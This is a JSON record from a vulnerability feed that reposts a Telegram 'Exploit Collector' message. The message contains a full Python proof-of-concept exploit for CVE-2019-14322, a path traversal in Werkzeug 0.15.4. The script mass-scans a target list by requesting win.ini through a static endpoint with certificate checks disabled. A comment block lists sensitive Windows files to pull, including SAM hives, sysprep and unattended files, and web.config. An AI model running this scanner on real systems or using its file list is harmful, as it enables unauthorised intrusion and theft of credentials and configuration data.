{"uuid": "211605eb-3200-49e4-a773-2a10e8e74582", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-14322", "type": "seen", "source": "https://t.me/hacking_Attack/15635", "content": "Exploit Collector\nPallets Werkzeug 0.15.4 Path Traversal\n\nhttps://4.bp.blogspot.com/-JipZY3hUF7s/WWlu7l1ccBI/AAAAAAAAIJc/HAISYb4KBsQdeIf6OzzYRuXiYaIkpQnmACLcBGAs/s1600/h110.png Proof of concept exploit for a path traversal vulnerability in Pallets Werkzeug version 0.15.4.\n\nMD5 | 262f237db7999ab766781c5e99c59463Download #!/usr/bin/env python3\n# PoC code by @faisalfs10x [https://github.com/faisalfs10x]\n\n\"\"\" $ pip3 install colorama==0.3.3, argparse, requests, urllib3\n$ python3 CVE-2019-14322.py -l list_target.txt\"\n\"\"\"\nimport argparse\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\nimport requests\nfrom colorama import Fore, Back, Style, init\n\n# Colors\nred = '\\033[91m'\ngreen = '\\033[92m'\nwhite = '\\033[97m'\nyellow = '\\033[93m'\nbold = '\\033[1m'\nend = '\\033[0m'\n\ninit(autoreset=True)\n\ndef banner_motd():\nprint(Fore.CYAN +Style.BRIGHT +\"\"\" \n\nCVE-2019-14322 %sPoC by faisalfs10x%s - (%s-%s)%s %s \n\"\"\" % (bold, red, white, yellow, white, end))\n\nbanner_motd()\n\n# list of sensitive files to grab in windows\n\n# %windir%\\repair\\sam\n# %windir%\\System32\\config\\RegBack\\SAM\n# %windir%\\repair\\system\n# %windir%\\repair\\software\n# %windir%\\repair\\security\n# %windir%\\debug\\NetSetup.log (AD domain name, DC name, internal IP, DA account)\n# %windir%\\iis6.log (5,6 or 7)\n# %windir%\\system32\\logfiles\\httperr\\httperr1.log\n# C:\\sysprep.inf\n# C:\\sysprep\\sysprep.inf\n# C:\\sysprep\\sysprep.xml\n# %windir%\\Panther\\Unattended.xml\n# C:\\inetpub\\wwwroot\\Web.config\n# %windir%\\system32\\config\\AppEvent.Evt (Application log)\n# %windir%\\system32\\config\\SecEvent.Evt (Security log)\n# %windir%\\system32\\config\\default.sav\n# %windir%\\system32\\config\\security.sav\n# %windir%\\system32\\config\\software.sav\n# %windir%\\system32\\config\\system.sav\n# %windir%\\system32\\inetsrv\\config\\applicationHost.config\n# %windir%\\system32\\inetsrv\\config\\schema\\ASPNET_schema.xml\n# %windir%\\System32\\drivers\\etc\\hosts (dns entries)\n# %windir%\\System32\\drivers\\etc\\networks (network settings)\n# %windir%\\system32\\config\\SAM\n# TLDR:\n# C:/windows/system32/inetsrv/config/schema/ASPNET_schema.xml\n# C:/windows/system32/inetsrv/config/applicationHost.config\n# C:/windows/system32/logfiles/httperr/httperr1.log \n# C:/windows/debug/NetSetup.log - (may contain AD domain name, DC name, internal IP, DA account)\n# C:/windows/system32/drivers/etc/hosts - (dns entries)\n# C:/windows/system32/drivers/etc/networks - (network settings)\n\ndef check(url):\n\n# There are 3 endpoints to be tested by default, but to avoid noisy, just pick one :)\n# This script reads c:/windows/win.ini as a proof of concept.\nfor endpoint in [\n'https://{}/base_import/static/c:/windows/win.ini', \n#'https://{}/web/static/c:/windows/win.ini', \n#'https://{}/base/static/c:/windows/win.ini'\n]:\ntry:\n\nurl2 = endpoint.format(url)\nresp = requests.get(url2, verify=False, timeout=5)\n\nif 'fonts' and 'files' and 'extensions' in resp.text:\nprint(Fore.LIGHTGREEN_EX +Style.BRIGHT +\" [+] \" +url2+ \" : vulnerable====[+]\")\nwith open('CVE-2019-14322_result.txt', 'a+') as output:\noutput.write('{}\\n'.format(url2))\noutput.close()\n\nelse:\nprint(\" [-] \" +url+ \" : not vulnerable\")\n\nexcept KeyboardInterrupt:\nexit('User aborted!')\nexcept:\nprint(\" [-] \" +url+ \" : not vulnerable\")\ndef main(args):\n\nf = open(listfile, \"r\")\nfor w in f:\nurl = w.strip()\n\ncheck(url)\n\nif __name__ == '__main__':\n\ntry:\n\nparser = argparse.ArgumentParser(description='CVE-2019-14322')\nparser.add_argument(\"-l\",\"--targetlist\",required=True, help = \"target list in file\")\nargs = parser.parse_args()\nlistfile = args.targetlist\n\nmain(args)\n\nexcept KeyboardInterrupt:\nexit('User aborted!') Source:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:34.120762Z"}